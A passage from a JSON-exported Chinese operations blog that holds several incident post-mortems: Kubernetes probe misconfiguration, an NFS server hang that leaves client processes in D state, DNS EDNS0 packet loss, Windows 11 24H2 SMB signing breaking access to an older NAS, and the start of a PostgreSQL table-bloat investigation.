OOMKilled 事件且通常不是稳定周期）。kubectl describe 明确指向 Liveness probe failed，方向锁定在探针。\n第二步，看探针配置。该 Deployment 的容器定义了 livenessProbe：\n1 2 3 4 5 6 7 livenessProbe: httpGet: path: /healthz port: 8080 initialDelaySeconds: 10 periodSeconds: 10 failureThreshold: 3 第三步，理解 /healthz 的语义。这个端点并不是\u0026quot;进程还活着\u0026quot;的简单探测，而是开发在代码里把它实现成了\u0026quot;依赖全部就绪才算健康\u0026quot;——它内部会去连 MySQL、Redis 和配置中心 Nacos，任何一项没连上就返回 503。也就是说，/healthz 实际上是一个 readiness 语义的端点被错误地用作了 liveness。\n第四步，核对应用真实启动耗时。应用是 Spring Boot 单体，冷启动到连上全部中间件、/healthz 返回 200，平均需要 90 秒左右；而首次发布那天因为配置中心刚扩容、连接更慢，实测接近 120 秒。探针在容器启动后仅 10 秒就开始探活，连续 3 次（30 秒）失败就触发 kubelet 发 SIGTERM 杀容器。应用永远停在被 kill 在启动到一半的状态，下一轮重启又从 0 开始，陷入死循环。\n第五步，确认没有 readinessProbe。该容器只配了 liveness，没有 readinessProbe。即使某次侥幸启动完成，在 /healthz 真正就绪前流量也会被 Service 转发进去，加剧不稳定。\n解决方案\r纠正探针语义：livenessProbe 改成只探\u0026quot;进程是否还活着、能否自救\u0026quot;，使用极轻量的端点（如独立的 /health，仅返回 200，不依赖任何外部依赖），并把 initialDelaySeconds 提高到 60，failureThreshold 提到 5，给足启动宽容度。 补上 readinessProbe：使用 /healthz（依赖就绪才返回 200），periodSeconds 10、failureThreshold 3，确保只有真正就绪才接流量。 引入 startupProbe 兜底慢启动：K8s 1.16+ 支持 startupProbe，在它探测成功之前，liveness 和 readiness 都不会生效。配置 startupProbe httpGet /healthz，failureThreshold 30、periodSeconds 5，相当于给应用最多 150 秒的启动窗口，期间不会被 liveness 误杀。 开发侧拆分端点：明确 /health（存活）、/ready（就绪）两个语义不同的端点，避免把\u0026quot;就绪\u0026quot;逻辑塞进\u0026quot;存活\u0026quot;端点。 滚动更新策略配合：把 maxSurge/maxUnavailable 调成 1/0，避免新 Pod 没起来就把旧 Pod 摘掉造成容量空窗。 改完重新发布，Pod 在约 100 秒后进入 Running/Ready，RESTARTS 不再上涨，服务恢复。\n根因分析\r根因是探针语义错位 + 初始延迟远小于真实启动时间。livenessProbe 的职责是\u0026quot;发现进程已死且无法自愈时重启它\u0026quot;，应该用最宽松的存活判断；而本例把\u0026quot;依赖全部就绪\u0026quot;这种 readiness 语义放进了 liveness，又只给 10 秒 initialDelay，导致应用在依赖就绪前就被反复处决。本质是把\u0026quot;是否准备好接流量\u0026quot;和\u0026quot;进程是否还活着\u0026quot;两件事混为一谈。\n预防措施\r给所有对外提供服务的容器同时配置 liveness / readiness / startup 三件套，语义严格区分。 liveness 端点保持\u0026quot;零依赖\u0026quot;，只证明进程在跑；依赖就绪交给 readiness。 启动慢的应用（连多数据源、拉配置中心）一律用 startupProbe 兜启动窗口，而不是无脑调大 initialDelay。 把探针配置纳入上线 review 清单和 Chart 模板默认值，避免每个团队各写各的。 在监控里对 Pod 的 RESTARTS 速率、CrashLoopBackOff 状态做告警，比等用户投诉早发现。 总结\rCrashLoopBackOff 不一定意味着代码崩了，很多时候是探针在\u0026quot;帮倒忙\u0026quot;。liveness 要宽松、readiness 管流量、startup 管慢启动，三者各司其职，容器才稳。把\u0026quot;存活\u0026quot;和\u0026quot;就绪\u0026quot;混为一谈，是容器化迁移里最高频、也最隐蔽的坑之一。\n","date":"2026-07-11T07:00:00Z","permalink":"/posts/21e8a43e/","title":"记一次 Kubernetes 因 liveness 探针配置过严导致 Pod 陷入 CrashLoopBackOff 的排查"},{"content":"一、问题背景\r公司一套 OA 系统的附件服务，把用户上传的合同、扫描件等文件统一写到一台 NAS 上，客户端以 NFS 方式把 NAS 的 export 挂载到应用服务器的 /data/attachment 目录。这套架构运行了两年多，平时应用线程只要 write() 一下就能落盘，开发同学几乎忘了\u0026quot;本地磁盘\u0026quot;和\u0026quot;网络存储\u0026quot;的区别。\n变故发生在一次周二的上午。运维群里突然弹出一连串告警：附件服务 HTTP 接口 P99 耗时从平时的 200ms 涨到 30s 以上，超时率飙到 40%，连带依赖附件的审批流接口也开始大面积 5xx。但诡异的是，监控大盘上这台应用服务器的 CPU 利用率只有 15% 左右，内存也富余，唯一异常的是 load average——从平时的 4 左右一路爬到了 300 多。第一反应是\u0026quot;是不是被打了\u0026quot;，但 iptables 连接数、入口流量都正常，事情没那么简单。\n二、故障现象\r把现场能串起来的现象摊开看，至少有四条明显对不上\u0026quot;常规高负载\u0026quot;：\n接口超时但资源空闲：应用 HTTP 层大量 Read timed out / AsyncRequestTimeoutException，然而 top 里 CPU 大多数时间在 id（空闲），us/sy 都不高——说明不是计算密集，而是线程\u0026quot;卡住\u0026quot;了。 load average 离谱地高：1 分钟负载一度冲到 380，但进程数并没有暴增。load 高通常意味着\u0026quot;运行队列 + 不可中断睡眠\u0026quot;的进程多，而这里明显是后者。 部分命令直接卡死：运维上机后想用 df -h 看磁盘，df 命令输出了本地盘后就卡住不动，过了好几分钟才勉强结束；ls /data/attachment 同样无响应。说明某个挂载点把进程\u0026quot;吸\u0026quot;住了。 kill -9 杀不掉：把几个明显不干活的应用 worker kill -9 之后，进程依然存在，状态栏显示一个 D。这是整件事最关键的反常信号——连 SIGKILL 都杀不掉的进程，只可能处于不可中断睡眠。 三、排查过程\r1. 先确认是不是进程\u0026quot;卡死\u0026quot;而非\u0026quot;忙死\u0026quot;\r用 top 按状态过滤，立刻看到一大片状态为 D（即 D = uninterruptible sleep，不可中断睡眠）的进程，而且这些进程的 COMMAND 几乎都是 Java 应用的工作线程、日志滚动脚本，以及刚才那个卡住的 df：\n1 2 top -b -n1 | awk \u0026#39;$8==\u0026#34;D\u0026#34;{print}\u0026#39; ps -eo pid,ppid,stat,wchan:32,cmd | awk \u0026#39;$3==\u0026#34;D\u0026#34;\u0026#39; 关键看 WCHAN 列（进程当前睡眠在内核的哪个函数上），这些 D 状态进程清一色停在 nfs、rpc_wait_bit_killable 或 fuse 相关的等待点上——全部和 NFS 客户端等待服务端回包有关。再补一刀确认：\n1 2 cat /proc/\u0026lt;pid\u0026gt;/wchan # 输出类似于 nfs_wait_bit_killable cat /proc/\u0026lt;pid\u0026gt;/stack # 内核栈能看到 nfs 调用链 2. 锁定\u0026quot;吸住\u0026quot;的挂载点\r既然 df -h 会卡在挂载点，用 mount 列出 NFS 挂载，并单独测试它：\n1 2 3 mount | grep nfs # 10.20.30.40:/volume1/oa_attach on /data/attachment type nfs ... df -h /data/attachment # 直接卡住 再开一个终端用 strace 跟踪一个卡住的进程系统调用，看到它停在：\n1 stat(\u0026#34;/data/attachment\u0026#34;, \u0026lt;detached ...\u0026gt; 符号非常明确：进程在 stat() 这个 NFS 挂载点时，永远等不到服务端回复，于是挂在内核的 NFS 等待逻辑里。\n3. 把怀疑下沉到 NFS 服务端\r既然客户端在等服务端，那就看服务端（NAS，10.20.30.40）是否还\u0026quot;活\u0026quot;：\n1 2 3 ping 10.20.30.40 # 能通，网络层没断 rpcinfo -p 10.20.30.40 # 卡住，无响应 showmount -e 10.20.30.40 # 同样卡住 rpcinfo 和 showmount 都走 RPC（端口 111 / 20048），它们卡住说明 NFS 服务端的 rpcbind / mountd / nfsd 已经不响应了。再在客户端抓包确认请求是不是\u0026quot;肉包子打狗\u0026quot;：\n1 2 tcpdump -nn -i any host 10.20.30.40 and port 2049 -c 50 # 客户端不断发 NFS READ/WRITE，但服务端没有任何 ACK 回包 最后翻客户端内核日志，印证判断：\n1 2 3 dmesg -T | grep -i nfs # [Tue Jul 7 10:12:03] nfs: server 10.20.30.40 not responding, still trying # [Tue Jul 7 10:12:31] nfs: server 10.20.30.40 not responding, still trying 日志里 not responding, still trying 反复刷，是典型的 NFS 服务端无响应、客户端按 hard 语义死等的表现。\n4. 服务端侧根因（事后复盘）\r登录 NAS 带外管理口查看，发现是一块磁盘出现介质错误，nfsd 工作线程在向后端文件系统刷写时被卡在底层 IO 上，所有 nfsd 线程被这块坏盘拖死，对外不再响应任何新的 NFS 请求。也就是说：坏盘 → nfsd 线程阻塞 → NFS 服务端\u0026quot;假死\u0026quot; → 客户端 hard 挂载无限等待 → 进程 D 状态。\n四、解决方案\r1. 先止血：把挂载点从客户端摘掉\r当务之急是让几十上百个 D 状态进程解除阻塞。按风险从低到高：\n1 2 3 4 5 # 优先用 lazy umount，断开挂载点与目录的关联，正在等待的进程会拿到错误返回而解除 D 状态 umount -l /data/attachment # 若仍不奏效，再尝试强制卸载 umount -f /data/attachment umount -l（lazy）是关键招：它不要求当前没有进程使用该挂载点，而是立刻把挂载点从命名空间摘下，之后等待中的进程在下次 IO 时会收到 I/O error 而醒来（虽仍可能被应用层重试逻辑再次卡住，但至少解除了内核层的死等）。执行后 top 里 D 状态进程数迅速归零，load average 从 380 一路回落到个位数，HTTP 接口超时率也在几分钟内降到正常。\n2. 恢复业务\r临时把附件写入切到本地盘（mount --bind 一个本地目录顶上，或改应用配置指向本地路径），让审批流先恢复；同时通知 NAS 管理员重启 nfs-server 服务、隔离坏盘、修复 RAID。服务端 nfsd 恢复响应后，再重新挂载：\n1 mount -t nfs 10.20.30.40:/volume1/oa_attach /data/attachment 五、根因分析\r整条故障链的源头有两点，缺一不可：\n服务端侧：NAS 单盘故障导致 nfsd 线程被后端 IO 阻塞，NFS 服务整体失去响应能力，且服务端本身没有对 nfsd 线程做隔离/超时保护。 客户端侧（更关键的放大因素）：Linux NFS 客户端默认是 hard 挂载（hard 而非 soft）。hard 模式下，NFS 请求如果得不到服务端确认，客户端会无限重试、永不放弃，对应进程进入 TASK_UNINTERRUPTIBLE（D 状态）。一旦进入 D 状态，SIGKILL 也无效——因为内核不允许进程在等待关键 IO 时被中途掐掉。结果就是：一个服务端故障，被 hard 语义放大成客户端成百上千个进程永久卡死、load 爆表、业务整体假死。 换句话说，这不是\u0026quot;客户端扛不住\u0026quot;，而是客户端对存储故障缺乏兜底：它把\u0026quot;网络存储临时不可用\u0026quot;当成了\u0026quot;必须无限等待\u0026quot;的硬约束。\n六、预防措施\r这次故障之后，我们从客户端、服务端、架构三层做了加固：\n客户端挂载加容错参数：把默认 hard 改为 soft 并加超时与重试，避免无限等待：\n1 2 # /etc/fstab 示例（注意 soft + timeo + retrans + retry） 10.20.30.40:/volume1/oa_attach /data/attachment nfs soft,timeo=30,retrans=3,retry=2,_netdev 0 0 timeo=30 表示每次 RPC 超时 3 秒（单位是 0.1s），retrans=3 重试 3 次后返回错误，retry=2 限制挂载阶段重试。这样 NFS 不可用时进程会快速失败而不是永久 D 住。_netdev 保证网络就绪后再挂载、关机时先 umount。\n监控要能抓到 D 状态：在 Node Exporter 之外补充采集 D 状态进程数和 load1，一旦 D 状态进程数 \u0026gt; 0 持续超过阈值就告警——这是 NFS 类故障最早的信号，比 HTTP 超时早得多。\n对挂载点做存活探测：用 timeout 包裹的 stat 定时探 /data/attachment，或部署监控脚本在探测超时时自动 umount -l 兜底，避免人工响应不及时。\n服务端高可用：NAS 侧对 nfsd 做进程级健康检查与自动重启；重要业务改用双机 + 共享存储（如 DRBD）或直接使用对象存储（S3/S3 兼容）替代 NFS 共享，从根本上消除\u0026quot;单存储挂掉拖垮应用\u0026quot;的强耦合。\n应用层解耦：附件写入增加本地缓冲队列与异步刷盘，NFS 不可用时先落本地、恢复后再同步，避免业务线程直接同步阻塞在远程存储上。\n七、总结\r这次故障最\u0026quot;反直觉\u0026quot;的地方在于：监控上 CPU、内存都正常，业务却整体假死。根因不在算力，而在 NFS 客户端默认的 hard 挂载语义——它把\u0026quot;存储暂时不可用\u0026quot;翻译成了\u0026quot;进程永久等待\u0026quot;。排查的关键三步是：top 抓 D 状态进程 → wchan/stack 确认卡在 NFS 等待 → rpcinfo/tcpdump/dmesg 证明服务端无响应。止血用 umount -l 立竿见影。\n记住一条运维铁律：凡是跨网络的文件系统挂载，默认 hard 都是隐患；要么加 soft + 超时重试，要么让应用在存储故障时能快速失败而不是永久等待。 否则，一个远端的坏盘，就足以让你的整台应用服务器\u0026quot;活着但死了\u0026quot;。\n","date":"2026-07-10T07:00:00Z","permalink":"/posts/5961e223/","title":"一次NFS存储服务端故障导致客户端进程陷入D状态业务整体假死的排查记录"},{"content":"一、问题背景\r公司核心交易链路里有一批微服务（跑在 K8s 上，也有部分裸金属虚拟机），它们调用多家三方能力：支付网关、短信通道、地图地理编码、风控评分等。这些三方域名全部走公网域名解析，集群内的 /etc/resolv.conf 统一指向自建内网 DNS 转发器（基于 CoreDNS，上游为两个运营商递归 + 一个公共递归 119.19.19.19）。这套解析体系已经稳定运行一年，平时解析成功率在 99.9% 以上，P99 解析延迟 \u0026lt; 30ms。\n变故出现在一次大促前的压测期间。订单服务在压到日常 3 倍流量时，监控里开始零星冒出上游 504（Gateway Timeout），每天约几十笔，分散在不同时段、不同节点，单笔失败率不到 0.1%，但恰好都集中在“调用三方 API”的环节。因为量太小、又不可复现，前两周一直被当成“三方接口抖动”挂了外部工单，直到大促临近，我们决定把它彻底查清楚。\n二、故障现象\r现场能串起来的现象有四条，且都指向“解析”而非“后端慢”：\n业务层偶发 504：订单服务调支付/短信时，HTTP 客户端抛 upstream connect error or disconnect/reset before headers 或 504，但后端真实接口监控一切正常，三方厂商侧也查不到对应请求日志——说明请求压根没出公司网络。 应用侧报解析失败：在出问题的 Pod 里手动 curl -v https://api.sms-provider.com，约 3%~5% 概率直接返回 curl: (6) Could not resolve host: api.sms-provider.com；同一个域名重试一次又好了。 只在特定时段更频繁：压测或晚高峰（出口带宽吃紧时）失败率明显上升，闲时几乎为 0。这暗示问题跟“链路质量/拥塞”有关，而非单纯配置错。 并非所有域名都中招：公司自有的 *.internal 和内网服务发现域名从不失败，只有走公网递归的三方域名会偶发失败——范围被天然缩小到“内网 DNS 转发器 → 公网递归”这一段。 最关键是：它是间歇性的，单看任何一时刻的监控都不算“故障”，必须靠抓包和统计才能暴露规律。\n三、排查过程\r1. 先确认是不是应用端的问题\r先排除应用自身：在出问题的节点上循环 curl 一个三方域名 200 次，统计失败率，同时开着应用日志对照。结果是 curl 本身的失败率（4.1%）与应用层 504 的失败率高度吻合，且 curl 失败全是 Could not resolve host。基本锁定：问题在 DNS 解析环节，不在业务代码、不在 LB、不在三方接口。\n2. 抓包看 DNS 到底丢没丢\r在节点上 tcpdump 抓 DNS 流量，复现失败那一刻：\n1 2 3 tcpdump -i eth0 -n \u0026#39;udp port 53\u0026#39; -w /tmp/dns.pcap \u0026amp; # 另开窗口复现 for i in $(seq 1 200); do dig +short @\u0026lt;内网DNS\u0026gt; api.sms-provider.com; done 用 Wireshark 打开 pcap，现象非常清晰：约 4% 的 DNS 查询发出后，在 5 秒超时（转发器 timeout 设的 5s）内没有任何响应返回，然后客户端重试一次才成功。 也就是说，内网 DNS 把请求转给上游后，上游“哑了”。\n3. 定位到“内网 DNS → 上游”这一段\r直接用 dig 把枪口对准转发器上游，连续探测并统计：\n1 2 3 4 # 直接打上游递归，统计丢包与耗时 for i in $(seq 1 300); do dig +nocmd +stats +time=2 +tries=1 @119.19.19.19 api.sms-provider.com | grep -E \u0026#39;Query time|status\u0026#39; done | sort | uniq -c 结果：Query time 在 8ms~200ms 之间抖动，但有约 4% 的探测根本没有 Query time 行（即超时无响应），与业务失败率吻合。换成另一个运营商上游，失败率类似但略低（2%）。结论：两条上游链路都偶发丢包，且转发器只有这两条、无备用、无快速失败切换。\n4. 为什么“偏偏是某些域名”更容易丢\r进一步对比：对 api.sms-provider.com 这类容易失败的域名，和 www.baidu.com 这类几乎不失败的域名，分别用不同 bufsize 探测：\n1 2 3 4 # 关闭 EDNS0（强制 512 字节传统响应） dig +noedns @119.19.19.19 api.sms-provider.com +stats # 开启 EDNS0 并放大缓冲区 dig +bufsize=4096 @119.19.19.19 api.sms-provider.com +stats 差异显著：+noedns 时失败率几乎归零；+bufsize=4096 时失败率飙到 8% 以上。再结合 dig +trace 看到该域名返回了大量 A/AAAA 记录且开启了 DNSSEC，响应包体积常超过 1200 字节。\n根因线索浮现：内网 DNS 转发器开了 EDNS0，向运营商递归请求大响应；但中间某一跳（运营商出口或公司边界防火墙）会对 UDP 53 上 \u0026gt;512 字节的包做分片/限速/丢弃，导致大响应在回程被吃掉。UDP 本身无重传，于是这次查询“凭空消失”，只能等转发器 5s 超时后客户端重试——而重试往往走不同路径或不同上游，所以“重试一次就好了”。\n5. 验证 TCP fallback 能否救场\rEDNS0 大包在 UDP 上被丢，理论上 DNS 应自动降级到 TCP 53 重传。但实测发现转发器对超时的处理是“傻等超时再让客户端重试”，自己并不会主动切 TCP 或切备用上游；且公司边界防火墙默认只放行了 UDP 53，没放行 TCP 53，导致即使想 fallback 也连不上。用 dig +tcp @上游 域名 验证：TCP 路径 100% 成功，彻底坐实“UDP 大包被丢、TCP 正常”的判断。\n四、解决方案\r1. 立刻止血：收敛 EDNS0 包体积 + 多上游\r修改 CoreDNS 转发配置（Corefile），把 EDNS0 缓冲区压到 MTU 安全值 1232，并配置多上游 + 合理超时：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .:53 { forward . 119.19.19.19 223.5.5.5 1.1.1.1 { max_fails 3 expire 10s policy random health_check 5s # 限制 EDNS0 缓冲区，避免大包在中间网络被分片丢弃 bufsize 1232 # 缩短上游超时，尽快切换到健康上游 timeout 2s } cache 30 errors log } bufsize 1232 是 1500 MTU 减去 IP/UDP 头后的安全上限，确保响应不需要 IP 分片；timeout 2s + 多上游让单条链路丢包时快速切走，而不是干等 5 秒。\n2. 放开 TCP 53，启用 fallback\r在边界防火墙放通 DNS 的 TCP 53（不只是 UDP），并在转发器层面确认大响应超 UDP 时能走 TCP 重传。验证：\n1 2 # 强制 TCP 探测，成功率应 100% dig +tcp +bufsize=4096 @119.19.19.19 api.sms-provider.com +stats 3. 客户端兜底：缩短超时与重试\r在节点 resolv.conf 上加保守参数，避免单点 DNS 抖动拖垮整个调用：\n1 options timeout:1 attempts:2 rotate K8s 场景则通过 kubelet --resolv-conf 或 Pod dnsConfig 下发同样的 options，让解析失败快速重试到另一个转发器实例。\n4. 关键三方域名本地缓存兜底\r对支付、短信这类核心且域名固定的三方，在 CoreDNS 用 hosts 或 file 插件做本地静态兜底，即便公网递归全挂也能解析，把“外部依赖”降级为“本地可控”。\n五、根因分析\r本质是**“单点上游 + EDNS0 大包在中间网络被丢弃 + 缺乏快速失败/备用链路”**三者叠加。内网 DNS 转发器开启了 EDNS0 并请求大响应，而运营商出口/边界防火墙对 UDP 53 上的大包做了分片或限速丢弃；UDP 无重传，导致约 3%~5% 的查询在回程“凭空消失”。转发器又只有单/双上游、超时长达 5 秒且不主动切 TCP/备用，于是把“一次解析超时”放大成了“应用侧 5 秒白等 → 上游 504”。失败只有在“出口拥塞或大响应域名”时才显著，因此呈现出难复现的间歇性特征。问题不在三方接口、不在业务代码，而在 DNS 转发链路的一条隐蔽 UDP 路径。\n六、预防措施\rDNS 高可用：转发器至少配 2~3 个不同运营商/公共递归上游，开启 health_check 与健康剔除，单链路丢包时秒级切走；转发器本身也部署多实例 + Service 负载均衡。 控制 EDNS0 包体积：bufsize 统一设为 1232，从源头规避 UDP 分片被丢；同时放通 TCP 53，保证大响应能走 TCP 可靠传输。 监控解析质量而非只看“能通”：用 Prometheus + blackbox_exporter 对核心三方域名做持续 DNS 探测，把 probe_success、解析延迟 P99 接入告警，对失败率 \u0026gt; 1% 即时报警，而不是等业务 504 才察觉。 客户端防御性配置：resolv.conf 设 timeout:1 attempts:2 rotate，缩短单点抖动的影响窗口；容器场景统一通过 dnsConfig 下发。 关键域名本地兜底：核心三方域名用 hosts/file 插件做静态解析兜底，外部递归全断也不影响主链路。 复盘中补充的边界项：防火墙策略变更必须同步 DNS 的 TCP/UDP 双端口放行，避免“放 UDP 忘 TCP”这类隐性单点。 七、总结\r这次故障的典型之处在于：业务报的是 504，根因却藏在 DNS 转发器一个 UDP 包被丢的瞬间。它不报错、不宕机，只在出口拥塞或大响应域名上偶发，单看监控谁都像“无辜”。给运维的启示是——遇到“三方接口偶发超时、但对方查无此请求”的现象，要敢于从应用层一路下沉到 DNS/UDP 链路，用 tcpdump + dig +stats 把“丢包率”这项指标量化出来；同时 DNS 这种“看似简单”的基础设施，恰恰最该做多上游、控包体、开 TCP、配监控，别让一条被丢弃的 UDP 53 包，悄悄拖垮整条交易链路。\n","date":"2026-07-09T16:58:00Z","permalink":"/posts/fb53e550/","title":"一次内网 DNS 转发链路异常导致核心业务系统间歇解析超时与偶发 504 的排查记录"},{"content":"一、问题背景\r公司办公网长期以文件服务器（一台群晖 NAS）作为部门共享盘，同时多台网络扫描仪通过 SMB 把扫描件直接推送到共享目录。内网绝大多数终端还是 Windows 10，访问一直正常。近期采购的一批新笔记本出厂预装 Windows 11 24H2，IT 按标准镜像部署后下发到行政、财务等部门。上午刚交付，行政部就反馈：几台新笔记本在资源管理器输入 \\\\nas\\share 直接报错打不开共享，而隔壁老电脑一切正常；与此同时，二楼的旧网络扫描仪把扫描件推到 NAS 时也开始失败。由于当天有合同扫描归档的硬性 deadline，这是一个需要尽快闭环的高优先级故障。\n二、故障现象\r新装 Windows 11 24H2 终端的具体表现：\n资源管理器地址栏输入 \\\\192.168.10.20\\行政共享 后弹出错误：“你不能访问此共享，因为它不安全……” 或 “Unspecified error (0x80004005)”，部分机器提示需要 SMB 签名。 用命令行 net use \\\\nas\\share 连接，返回 “System error 1240 / 要求的 SMB 签名未协商”。 同网段的 Windows 10 电脑访问完全正常，说明 NAS 本身在服务、权限、网络层面没有宕。 二楼那台服役多年的网络扫描仪，SMB 推送任务日志持续报错 “connection refused / authentication failed”，扫描件堆积在本地缓存。 事件查看器 → Windows 日志 → 系统 中出现 SmbClient 相关事件，提示客户端要求的安全特性（签名）未被对端满足。 现象指向一个结论：旧系统正常、新系统异常，且异常集中在“签名/安全协商”环节，基本可以锁定是客户端协议策略变化，而非 NAS 宕机或网络不通。\n三、排查过程\r第 1 步：界定范围，排除基础网络。 先 ping nas 通、Test-NetConnection 192.168.10.20 -Port 445 端口开放，证明 TCP 与网络层没问题；再在 Win10 上同一路径秒开，进一步排除 NAS 共享权限与账号问题。故障被收敛到“Win11 24H2 客户端 ↔ SMB 安全协商”这一段。\n第 2 步：拿到精确错误码。 在问题机器上执行：\n1 2 3 net use \\\\192.168.10.20\\行政共享 /user:domain\\admin ******** # 返回：System error 1240 has occurred. # 要求的 SMB 签名未协商。 错误码 1240 在微软文档里对应的正是 “The account is not authorized to log in from this station” 的签名/安全变体——客户端要求签名，但服务端握手时没带签名，客户端于是拒绝。\n第 3 步：核对客户端 SMB 安全配置。 用 PowerShell 查看本机 SMB 客户端要求：\n1 Get-SmbClientConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature, RequireEncryption 输出显示 RequireSecuritySignature = True。回忆微软的发布说明：Windows 11 24H2 起，SMB 客户端签名（SMB signing）默认从“协商”升级为“强制（always）”，同时进一步收紧不安全的来宾/匿名访问，SMB1 也默认关闭。这正是与老系统（Win10 默认“协商/可选”）行为分叉的点。\n第 4 步：确认对端能力。 登录群晖 DSM，查看 控制面板 → 文件服务 → SMB → 高级设置，发现该机型固件较旧，“允许 SMB 签名”未勾选，且最高协商到 SMB3 但签名能力未启用；而那台旧扫描仪固件更老，仅实现到 SMB1/SMB2 且根本不支持签名。于是握手过程变成：Win11 客户端坚持“必须签名” ↔ NAS/扫描仪“不签名或不会签名” → 客户端主动中断，共享打不开。\n第 5 步：抓包佐证。 在问题机器 Wireshark 抓 tcp.port==445，可以看到 Negotiate Protocol Response 里 SecurityMode 字段没有 SMB2_NEGOTIZE_SIGNING_REQUIRED 的对应能力，而客户端在 Session Setup 时设置了 SIGNING_REQUIRED，随后服务端返回 STATUS_ACCESS_DENIED，连接被拒。到这里根因已经坐实。\n四、解决方案\r分“治本”和“临时兼容”两条线处理，当天先止血、再排期根治。\n方案 A（治本，优先）：在对端启用 SMB 签名。\n群晖 NAS：控制面板 → 文件服务 → SMB → 高级设置 → 勾选 “允许 SMB 签名”（建议顺带升级到支持 SMB3 签名的较新 DSM 固件），保存后 Win11 24H2 立刻能正常挂载。 旧扫描仪：联系厂商升级固件到支持 SMB3 + 签名 的版本；若设备已 EOL 无法升级，则改用 FTP/SFTP 推送扫描件到一台支持签名的专用中转服务器，再同步进 NAS。 方案 B（临时兼容，仅限紧急）：在 Win11 客户端放宽签名要求。\n1 2 3 4 # 不推荐长期使用，会削弱安全性 Set-SmbClientConfiguration -RequireSecuritySignature $false -Confirm:$false # 或通过组策略：计算机配置→Windows 设置→安全设置→本地策略→安全选项 # “Microsoft 网络客户端：对通信进行数字签名(始终)” 设为 已禁用 注意：方案 B 只是给老设备“续命”，正确做法是推动对端支持签名，而不是让新系统退回不安全状态。\n方案 C（长效机制）：用 GPO 统一全司 SMB 基线。 在域控上新建一条策略，明确 服务端 + 客户端均启用 SMB 签名，下发到所有终端，避免逐台手工配置、避免以后再有机器“不一致”。\n当天先对 NAS 开启签名（5 分钟生效）恢复共享，扫描仪走 SFTP 中转应急，行政部合同归档 deadline 解除。\n五、根因分析\r根因是协议安全基线的单向演进：微软在 Windows 11 24H2 把 SMB 客户端签名由“协商可选”改为“强制开启”，目的是抵御 SMB 中继/MitM 类攻击；而内网里大量老旧 NAS 固件、嵌入式扫描仪仍停留在“不支持或未启用签名”的旧实现。当强制签名的客户端遇到不签名的对端，握手被客户端主动拒绝，表现为“共享打不开、扫描推不上去”。这不是网络故障，也不是账号故障，而是安全能力错配——新标准的客户端拒绝与不达标老设备对话。\n六、预防措施\r采购准入：新购 NAS、网络扫描仪、打印机等带 SMB 功能的设备，合同中明确必须支持 SMB3 与 SMB 签名，杜绝 EOL 老固件入网。 存量治理：盘点内网所有提供/消费 SMB 的设备，升级固件到支持签名的版本；无法升级的老旧嵌入式设备，迁移到 SFTP/FTP 或专用网关。 统一策略：通过域 GPO 固化“服务端+客户端均启用 SMB 签名”的基线，让安全配置一致、可审计，而不是靠每台机器“碰运气”。 变更预演：微软每次 Windows 功能版本（如 24H2）上线前，先在隔离测试环境跑一遍“共享访问、打印、扫描推送”等关键路径，提前暴露协议兼容性坑。 监控告警：对 NAS 的 SMB 协商失败日志做采集，配合 401/1240 类错误做早期预警，避免等到业务部门大面积报错才被动响应。 七、总结\rWindows 11 24H2 强制 SMB 签名本身是正确的安全加固，但它把“对内网老旧设备兼容性”的账一次性结清了。这次故障的教训是：协议安全基线的演进速度，往往快于嵌入式设备的固件更新节奏。排查时抓住“旧系统正常、新系统异常 + 错误码 1240 + RequireSecuritySignature=True”这三条线索，就能快速定位到签名握手失败，而不是在权限、网络、账号上白绕圈。治本之道永远是在对端补齐签名能力，而不是让新客户端退回不安全状态。\n","date":"2026-07-09T07:00:00Z","permalink":"/posts/e94be3fc/","title":"一次 Windows 11 24H2 强制 SMB 签名导致老旧 NAS 与共享设备无法访问的排查实录"},{"content":"一、问题背景\r公司内部的工单与结算报表系统后端跑在 PostgreSQL 13（一主两从）上，核心业务表 orders（订单表）日增约 30 万行。该系统平时表现稳定，单条按主键查询稳定在 2~5ms，分页报表查询也在 200ms 以内。\n事情发生在一次大促复盘期间。BI 同事反馈，最近两周报表导出的等待时间越来越长，原本跑 10 秒的日报 SQL 现在经常卡到 40 秒以上，且主库磁盘使用率从 55% 悄悄涨到了 81%。由于是从“慢慢变慢”而非“突然宕机”，前几次都被当作临时抖动忽略了，直到某天早高峰一个核心查询超时把接口拖垮，才正式立项排查。\n二、故障现象\r现场能观察到的现象有五点，且都指向同一张表：\n查询延迟持续劣化：SELECT ... FROM orders WHERE create_time BETWEEN ... 这类带时间范围扫描的 SQL，执行计划从 Index Scan 退化成 Bitmap Heap Scan 后进一步退化成全表 Seq Scan，耗时从亚秒级爬升到 30~50 秒，且几乎不随业务低峰回落。 表体积异常膨胀：orders 表逻辑行数约 2100 万，但 pg_relation_size 显示其堆文件已超过 28GB（按行宽估算正常应约 9GB），物理大小是逻辑数据量的 3 倍多。 autovacuum 形同虚设：pg_stat_user_tables 里 last_autovacuum 字段经常停留在几天前，n_dead_tup（死元组数量）长期维持在千万级且不下降。 磁盘只增不减：主库数据目录每天净增长约 4GB，但业务写入量并没有成比例放大。 只读从库复制延迟偶发抖动：由于主库频繁做重量级清理/检查点，WAL 产生突增，从库 replay_lag 间歇升高。 最关键的是：这些现象是渐进式的，单看某一时刻的监控都不算“故障”，组合起来才暴露出性能断崖。\n三、排查过程\r1. 先确认是不是“死元组”堆积\rPostgreSQL 的 MVCC 机制下，UPDATE/DELETE 不会立刻物理删除旧版本，而是把它们标记为死元组（dead tuple），依赖 autovacuum 回收。先直接看统计：\n1 2 3 4 5 6 7 8 SELECT schemaname, relname, n_live_tup, n_dead_tup, last_vacuum, last_autovacuum, round(n_dead_tup::numeric / NULLIF(n_live_tup,0) * 100, 2) AS dead_pct FROM pg_stat_user_tables WHERE n_dead_tup \u0026gt; 100000 ORDER BY n_dead_tup DESC LIMIT 10; 结果 orders 表的 n_dead_tup 高达 4100 万，dead_pct 接近 195%——也就是死元组比活元组还多一倍。表已经严重膨胀，这与磁盘只增不减的现象完全吻合。\n2. 为什么 autovacuum 不干活\r继续看 autovacuum 的触发条件。pg_stat_user_tables 里 last_autovacuum 长期不更新，说明要么没触发，要么触发了但被阻塞。查一个关键指标——最老事务的年龄：\n1 2 3 SELECT datname, age(datfrozenxid) AS xid_age FROM pg_database ORDER BY xid_age DESC; 主库 xid_age 已超过 2 亿，逼近 autovacuum_freeze_max_age（默认 2 亿）。再查是否有长事务卡住：\n1 2 3 4 5 6 7 8 SELECT pid, datname, usename, application_name, state, now() - xact_start AS xact_age, now() - query_start 